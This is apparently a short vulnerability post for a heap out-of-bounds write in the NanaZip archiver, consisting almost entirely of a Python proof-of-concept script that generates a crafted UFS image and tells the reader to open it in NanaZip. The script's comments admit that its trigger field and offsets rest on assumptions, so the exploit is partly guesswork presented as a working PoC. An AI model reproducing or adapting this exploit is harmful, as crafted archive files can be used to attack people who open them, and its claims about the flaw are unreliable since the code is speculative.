CVE-2026-44215 NanaZip堆越界写入漏洞

import struct def create_ufs_poc(filename): # PoC for CVE-2026-44215: NanaZip Heap OOB Write # This script generates a crafted UFS image header. # The vulnerability is triggered when NanaZip parses the UFS filesystem image. # Adjusting specific offsets can trigger the out-of-bounds write. with open(filename, 'wb') as f: # UFS Superblock structure (Simplified) # Write a dummy header to pass initial checks data = b'\x00' * 1372 f.write(data) # Write a crafted superblock # Magic number (0x00011954 for BE) f.write(struct.pack('>I', 0x00011954)) # Fill other fields to reach the vulnerable offset f.write(b'\x00' * 100) # Trigger field: value that leads to the calculated offset being out of bounds # Assuming the vulnerability is in reading inode counts or block pointers f.write(struct.pack('>I', 0xFFFFFFFF)) # Malformed value # Continue padding to make a valid file size f.write(b'\x00' * 4096) print(f"POC file generated: {filename}") print("Open this file with NanaZip to trigger the vulnerability.") create_ufs_poc("cve_2026_44215_poc.img")